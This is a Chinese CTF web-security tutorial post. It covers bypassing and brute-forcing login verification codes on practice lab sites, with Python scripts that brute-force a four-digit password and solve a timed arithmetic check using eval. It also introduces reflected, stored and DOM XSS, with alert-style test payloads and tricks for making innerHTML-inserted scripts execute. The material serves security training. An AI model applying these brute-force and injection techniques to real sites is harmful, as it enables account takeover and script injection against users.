1. 程式人生 > >CTF-web 第六部分 驗證碼類和初步XSS知識

CTF-web 第六部分 驗證碼類和初步XSS知識

在登陸中通常我們需要驗證碼,但有些時候在設計的時候會存在一些漏洞。

 1)一次驗證

    在驗證中 隨意填寫賬戶密碼 驗證碼正確填寫 username=admin&pwd=1234&vcode=28ps&submit=submit pwd error

    第二次重複提交顯示的是 pwd error 說明對驗證有漏洞

    已知密碼為純四位,我們使用burp suite爆破就可以,找到響應中位元組最多的就是結果 因為有flag。(關於Bp的使用我們上文已經講過了,這裡就不在多加敘述) 

下面我們也附上編寫的指令碼吧:

import  requests
# 針對一次性驗證碼 爆破數字密碼用

url = 'http://lab1.xseclab.com/vcode1_bcfef7eacf7badc64aaf18844cdb1c46/login.php'
header = {
            "Host": "lab1.xseclab.com",
            "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:49.0) Gecko/20100101 Firefox/49.0",
            "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
            "Accept-Language": "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3",
            "Accept-Encoding": "gzip, deflate",
            "Referer": "http://lab1.xseclab.com/vcode1_bcfef7eacf7badc64aaf18844cdb1c46/index.php",
            "Cookie": "PHPSESSID=7667f63d7c38a42374e3afaa9a203d86",
            "Connection": "close",
            "Upgrade-Insecure-Requests": "1",
            "Content-Type": "application/x-www-form-urlencoded",
            "Content-Length": "48"
         }

# 設定引數變化範圍
start = 1000
final = 9999
step = 1
startlength = 0  # 記錄初始返回相應的長度 如果響應長度發生變化 那就是找到了
for i in range(start, final, step):
    payload = {'username': 'admin', 'pwd': i, 'vcode': 'JQ28', 'submit': 'submit'}
    contents = requests.post(url=url, headers=header, data=payload).content.decode('utf-8')
    if i == start:
        startlength = len(contents)
    else:
        if len(contents) > startlength:
            print("%d : %s" % (i, contents))
            break

(2)驗證便失效的驗證碼

    驗證第一次是 pwd error 而第二次重複提交是 vcode error 實際上是不需要vcode了 以後可以不提供使vcode=空

    然後繼續使用burp suite爆破 

 

   (3)驗證碼重疊

    對於兩個賬號的驗證,驗證碼是一樣的,我們需要從第一個賬號獲取驗證碼,然後使用第二個進行登入

      你的手機號碼是13388886666,請登入 --》獲取驗證碼 --》submit 顯示:請使用13388886667登入

      設定賬號13388886667 --》獲取驗證碼 顯示:已經發到別人手機上了 你看不到

      whrite up :13388886666獲取驗證碼 --》13388886667使用該驗證碼登入

 

   (4)驗證碼爆破

       某些應用中,賬號是已知,驗證碼雖然未知但是對其長度和字元的限制是已知的,我們可以進行爆破

       手機客戶端登入 已知賬號13388886666 vcode是3位純數字,開頭不為0,都這麼說了,估計就是要去爆破了

       觀察載荷之後 需要爆破另外一個手機號登入 繼續 最後得到falg

 

   (5)圖片驗證嗎 爆破

       使用工具 PKAV HTTP Fuzzer a,次時代驗證碼識別引擎 b,非圖片型驗證碼 c,亦思驗證碼識別引擎 d,自帶識別引擎

 

  (6)小明的急速心算

      看到的是這麼一個題目,小明需要在多少秒內輸入結果才能過測試,但是數學不好,所以我們要編寫指令碼進行幫忙,這也是一種變相的驗證吧。這裡分享兩個指令碼,一個是我的,一個是大佬的。這裡需要關注的要點就是正則匹配的應用,包括匹配符號,匹配位置,匹配的小括號子表示式,不過大佬的就是大佬,厲害啊。

   這種web題目我們首先需要將網頁中的關鍵部分提取出來,經過計算之後在提交上去,在本題中是四個大數字的運算,類似於 2559*81551+1066*(2559+81551),只有數字是變的,符號順序等不變,wide指令碼是這樣的:

import requests
import re


url = "http://lab1.xseclab.com/xss2_0d557e6d2a4ac08b749b61473a075be1/index.php"
respon = requests.get(url)
# print(respon.content)
# rmatch = re.compile("[0-9]{2,5}")

# #   2559*81551+1066*(2559+81551)
# findall 和 match的區別 match是匹配不上的 因為是從源頭匹配 匹配不到就沒有結果
es = re.findall(r"\d{2,6}", respon.content.decode('utf-8'))
result = int(es[0])*int(es[1])+int(es[2])*(int(es[3])+int(es[4]))
# print(result)

# 第二次提交資料 注意提交資料也是鍵值對形式
date = {"v": str(result)}
header = {'Cookie': 'PHPSESSID=356ee82e732bcef813ac0b37ba8fddf5'}
response = requests.post(url, headers=header, data=date)
print(response.content.decode('utf-8'))

還看得過去吧,不過大佬的指令碼是這樣的:

import requests
import re


url = 'http://lab1.xseclab.com/xss2_0d557e6d2a4ac08b749b61473a075be1/index.php'
header = {'Cookie': 'PHPSESSID=356ee82e732bcef813ac0b37ba8fddf5'} #填入自己的cookie

contents = requests.get(url, headers = header).content.decode('utf-8')
matches = re.search("(.+)=<(input)", contents)

data = {'v': str(eval(matches.group(1)))}
contents = requests.post(url, headers=header, data=data).content.decode('utf-8')

matches = re.search("<body>(.*)</body>", contents)
print(matches.group(1))

他使用了子表示式匹配和eval的方法,著實厲害,不愧是大佬,會的就是多

 

XSS跨站指令碼簡介

       XSS攻擊全稱跨站指令碼攻擊,是為不和層疊樣式表(Cascading Style Sheets, CSS)的縮寫混淆,故將跨站指令碼攻擊縮寫為XSS,XSS是一種在web應用中的電腦保安漏洞,它允許惡意web使用者將程式碼植入到提供給其它使用者使用的頁面中。

     通常我們嵌入的資訊會被當做程式碼執行,所以在頁面上是看不到我們的程式碼的,但是儲存在資料庫中的資訊時可以被看到的。

 

       XSS攻擊可以分成兩種型別:

          1.非持久型攻擊

          2.持久型攻擊

       非持久型xss攻擊:顧名思義,非持久型xss攻擊是一次性的,僅對當次的頁面訪問產生影響。非持久型xss攻擊要求使用者訪問一個被攻擊者篡改後的連結,使用者

    訪問該連結時,被植入的攻擊指令碼被使用者遊覽器執行,從而達到攻擊目的。

       持久型xss攻擊:持久型xss,會把攻擊者的資料儲存在伺服器端,攻擊行為將伴隨著攻擊資料一直存在。如評論區或者資訊區

 

       並且還可以分為

         反射型:經過後端,不經過資料庫 儲存型:經過後端,經過資料庫

        DOM:不經過後端,DOM—based XSS漏洞是基於文件物件模型Document Objeet Model,DOM)的一種漏洞,dom - xss是通過url傳入引數去控制觸發的。    

    

  (2)實際利用

        https://blog.csdn.net/u011781521/article/details/53894399/

        反射型:對於一些輸入框或者是url連線 沒有過濾並且還可以執行程式碼,我們可以提交<script>alert('123')</script>進行測試

        反射型 XSS 的資料流向是:瀏覽器 -> 後端 -> 瀏覽器。

        儲存型:另一種就是使用者輸入的內容還是沒有過濾,但是不直接顯示在頁面中,而是插入到了資料庫。當需要作為留言等顯示時有可能被執行

        儲型 XSS 的執行位置通常不同於輸入位置。我們可以看出,儲存行 XSS 的資料流向是: 瀏覽器 -> 後端 -> 資料庫 -> 後端 -> 瀏覽器。    

        DOM:傳入的引數被使用,沒有經過過濾,就被獲取然後經過網頁的計算而輸出,我們可以通過構造引數來達到目的

        xss.php?name=<img src-1 onerroe=alert(1)> 在解析name引數賦值給text並print時 會發生XSS攻擊

        DOM-XSS 的資料流向是:URL-->瀏覽器 

 

   (3)如何讓 innerHTML 進來的 scrip 程式碼跑起來

        前臺請求一個介面,介面返回一些 HTML 標籤拼接成的字串,以供前端直接 innerHTML 生成 DOM 元素,這樣的做法非常普遍。但是你是否遇到過,如果字串中拼接的 HTML 標籤中有

       script 標籤,那麼該段指令碼是無法執行的,這並不是 bug,而是 w3c 的文件規定的。

 

        方法1:思路非常簡單,構造新的 script 標籤,然後該標籤的 innerHTML 賦值為需要渲染的指令碼。虛擬碼如下  

 <script>          
            // 模擬介面返回資料
             var strVar = "";             
             strVar += "<script>alert('hello world')<\/script>";
             document.getElementById('myDiv').innerHTML = strVar;
         </script>
         var s = document.createElement('script');
         s.innerHTML = text;
         document.body.appendChild(s); 

  

當然如果要寫的完美一點,執行完 s 後還需要 remove 掉。如何獲取 text 值?兩個方法,其一可以正則匹配 strVal,提取 script 標籤內的內容,這點和 BigRender 類似,而 BigRender 除了提取 script 標籤,還

        需要提取 style 標籤,無疑更復雜;第二個方法是可以用 document.getElementsByTagName('script') 獲取插入 DOM 但並未執行的 script 指令碼,但是這樣會把頁面所有指令碼全部提取,所以還需要判斷。(可以獲取某一節點下的 script 

       標籤)如果是外部的 js 檔案,需要為新建的 script 元素新增 src 屬性即可。

 

       方案二:eval 大法

          事實上,如果是inline JavaScript,方案一求得的text,可以直接eval執行 。

          但是如果是外聯js檔案,同上,需要新建script標籤然後指定src屬性。

 

對於XSS看到的一個知識點是,我們可以插入img標籤,並且指定它的src屬性,那麼瀏覽器就會去指定地址下載資訊。